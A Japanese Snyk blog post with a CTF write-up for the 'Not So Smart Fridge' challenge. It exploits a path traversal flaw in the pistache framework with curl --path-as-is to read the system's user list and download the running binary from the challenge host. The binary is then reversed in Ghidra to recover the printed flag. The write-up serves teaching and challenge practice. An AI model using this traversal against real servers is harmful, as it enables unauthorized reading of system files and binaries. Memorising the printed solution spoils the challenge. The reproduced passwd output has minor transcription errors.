Skip to main content

Fetch the Flag CTF 2022 解説:Not So Smart Fridge

著者

Antonio Gomes

feature ctf smart fridge

2022年11月10日

0 分で読めます

Fetchに参加してくれてありがとう! 参加してくれた何千人ものプレイヤーの皆さん、 Fetch the Flag CTFにご参加いただき、ありがとうございました。また、チャレンジの作成、テスト、解説記事の執筆を担当してくれたSnykerの皆さんにも心から感謝します!

このFetch the Flag CTFのチャレンジは、新品のSmart Fridge Ultra SFU-3000について必要な情報をすべて教えてくれる、心温まる歓迎から始まります。ワクワクしますね!

アイザック・アシモフはかつて、「完全調理済みの食事も半調理済みの食事も冷蔵庫に保存しておけば、いつでも食べられる。キッチン設備が『自動で食事を作り』、水を沸かし、コーヒーを淹れてくれるようになる」と予言しました。そして今、私たちはこの冷蔵庫で商品を注文したり、内蔵オーディオで音楽を再生したりしています。すばらしいですね!

ホーム、商品、音楽、設定のナビゲーションと、商品の注文や音楽の再生についての説明が表示されたSmart Fridge v0.1のウェルカム画面。

ところが、Music機能が使えないとわかるまでは、ワクワクしていました。さらに、冷蔵庫のファームウェアを更新するSettings機能も壊れていて、pistache/0.0.3.20220107から最新バージョンにアップグレードする方法がありません。少なくともファームウェアのバージョンはわかりました。ここでの目標はフラグを見つけて、このチャレンジを解くことなので、これは役に立ちます!

オンライン状態、モデルSFU-3000、ソフトウェアフレームワークのバージョンを表示したSmart Fridge v0.1のシステム設定画面

解説

Smart Fridge Ultra SFU-3000 —のウェブページにアクセスし、実際にできることの少なさにがっかりしながら、Settingsを開くと、ファームウェアがpistache/0.0.3.20220107だとわかりました。pistacheについて詳しくない方のために説明すると、C++向けの最新のHTTPおよびRESTフレームワークです。チャレンジのウェブページで使われているソフトウェアの手がかりになるのはありがたいですね。

この情報を使えば、Snyk Intel Vulnerability Databaseでpistache/0.0.3.20220107に関連するセキュリティ上の問題を簡単に検索できます。pistacheを検索すると、Pistacheにパストラバーサルの脆弱性があり、冷蔵庫のファームウェアのバージョン0.0.3.20220107も影響を受けることがわかります。これは好都合です。以下のSnykのPoCで提案されているコマンドを使って、悪用を試してみましょう。

pistacheio/pistacheパッケージにおける中程度の深刻度のパストラバーサル脆弱性を表示するSnyk Vulnerability Databaseのページ。

curl --path-as-isを実行すると、curlはフルパス内の/../の並びを正規化しません。また、以下の結果を取得できます。これにより、パストラバーサルの脆弱性を利用して、このシステムにアクセスできるユーザー一覧を取得できたこと、そしてdocというフォルダがあることがわかります。

root:x:0:0:root:/root:/bin/bash
daemon:×:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:×:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp::7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:×:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:×:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/bin/nologin
backup::34:34:backup:/var/backups:/usr/sin/nologin
list:x:38:38:MailingListManager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:×:41:41:GnatsBug-ReportingSystem(admin):/var/lib/gnats:/usr/sin/nologin
nobody:×:65534:65534:nobody:/nonexistent:/usr/sin/nologin
_apt:×:100:65534::/nonexistent:/usr/sbin/nologin

docフォルダのパスにアクセスすると、Swagger APIドキュメントを取得でき、ウェブアプリケーションで利用可能なエンドポイント(例:v1/system/flag/{flag})を確認できます。この時点で、C++バイナリとしてpistacheを使用するウェブアプリケーションであることがわかっています。

Swagger APIドキュメントのインターフェース。/api.jsonエンドポイントと、システムおよび製品データ用の展開可能なGETルートを表示

次はどうするか?Linuxのprocを利用します。具体的には/proc/self/exeです。これは文字どおり現在実行中のプロセスを指し、この場合はpistacheのウェブアプリのバイナリです。次のコマンドを実行します。

curl --path-as-is "http://not-so-smart-fridge.c.ctf-snyk.io:8000/doc/../../proc/self/exe" --output exe

これでpistacheのバイナリをダウンロードできます。フラグを特定するため、このバイナリをリバースエンジニアリングする必要があります。まず、ソフトウェアのリバースエンジニアリング用ツールをダウンロードします。ここではGhidraを使います(MacOSユーザーはbrewからも利用できます)。

Ghidraで新しいプロジェクトを作成し、先ほどダウンロードした.exeバイナリをインポートします。

「exe」という名前のELF実行ファイルを「ctf-write-up」プロジェクトに追加するGhidraのインポートダイアログ

いよいよチャレンジの楽しい部分です。フラグがどのようなものか、調べていきましょう!Ghidraで「flag」を検索すると、checkFlagというメソッドが見つかります。内容は、以下の画像のDecompile: checkFlag - (exe)ウィンドウで確認できます。

アセンブリコード、逆コンパイルされたC++コード、プログラムツリー、checkFlagという名前の関数を表示した、Ghidraのリバースエンジニアリング用インターフェース。

逆コンパイルしたウィンドウを見ると、フラグの想定される長さは70文字だとわかります。

if lVar4 == 0x46。元のコードで定義された制約によると、lVar4には入力されたフラグの長さが格納され、0x46は10進数で70に相当します。

変数への代入と16進数の値が表示された、色分けされたリバースエンジニアリング済みソースコードのクローズアップ。

上記の条件length == 70を満たすと、checkIndexesという別のメソッドが呼び出されます。

checkIndexes関数の呼び出しがハイライトされ、tryのコメントが表示されたコードの拡大スクリーンショット。

画像の上と下に示されているように、checkIndexesはプログラムからフラグ文字列、複数のインデックスを含むベクター、そして文字(上の画像では'7')を受け取ります。

vectorの反復処理と文字比較のロジックを含む、checkIndexes関数のコードが表示された逆コンパイラーのウィンドウ。

これはどういう意味でしょうか?checkIndexesを呼び出すたびに、n個のインデックス位置にある文字が検証され、フラグ文字列が有効かどうかが判定されます。すべてのcheckIndexes呼び出しが成功すれば、フラグを特定できたということです。フラグを見つけるには、逆アセンブルしたファイルを調べ、各local_*変数を16進数から10進数に変換して位置を特定する方法があります。

ローカル変数への代入、ベクターの初期化、checkIndexes関数の呼び出しを示す、逆コンパイルされたC++コード。
0xd = 13, 0x16 = 22, 0x1d = 29, x27 = 39, 0x28 = 40, 0x2d = 45, 0x3b = 59

{13, 22, 29, 39,40, 45, 59}は、フラグ内で文字`5`があるインデックスの一覧です。これでフラグを組み立てます。

SNYK{6af6761359c4b442f534071351518abb7155c48d59df4bb80188ea57ed71eecc}

ベクターごとに割り当てられたすべてのインデックスを特定する別の方法は、スクリプトを使うことです(コードを確認)。これを行うには、プログラムをC/C++ファイルとしてエクスポートし、ほかの部分を削除して、checkFlagメソッドだけを対象にします。さらに、local_*変数を16進数から10進数に変換して各文字のインデックスを特定し、フラグを再構築するスクリプトを用意します。

Pythonスクリプト、Cソースコード、復元されたフラグ文字列を含むターミナル出力を表示したVisual Studio Code

冷蔵庫より賢く

このチャレンジでは、Snykを使ってC++ウェブアプリケーションのパストラバーサル脆弱性を特定し、実行中のプロセスのバイナリにアクセスしてダウンロードし、Ghidraでリバースエンジニアリングを行い、逆コンパイルしたバイナリを分析してフラグを見つける方法を学びました。楽しかったですね!

以上です。チャレンジを楽しんでいただけたなら幸いです。Snyk CTF 2022にご参加いただき、ありがとうございました!ほかのフラグの見つけ方も知りたいですか?Fetch the Flagの解答ページで、解き方をご覧ください。

続きを読む

AI Background min crop
Blog

AIが、あなたが受け入れてきたあらゆるリスクを一気に顕在化させる:AI Security Panel: Unfilteredから得た7つの洞察

AIによって攻撃はより安価かつ高速になり、組織がすでに抱えているリスクが露呈しています。4人のセキュリティリーダーが、機械の速度に対応する防御と迅速な修復が今不可欠である理由を語ります。

blog feature ai violet
Blog

VulnBump:AIエージェントはビルドを壊さずに脆弱な依存関係を修正できるか?

VulnBumpでは、実際の依存関係のアップグレード307件をAIエージェントで検証します。脆弱性が解消され、ビルドとテストが正常に通った場合にのみ、修正成功と判定します。

blog feature snyk container custom base recommendations
Blog

Evo Agentic AppSecのご紹介:AI開発のスピードに追随するセキュリティ

AIを活用した開発は、従来のセキュリティワークフローを上回るスピードで進んでいます。SnykのAgentic AppSecは、セキュリティエージェントが脆弱性を継続的に検出、修正、検証し、人が基準を定められるようにします。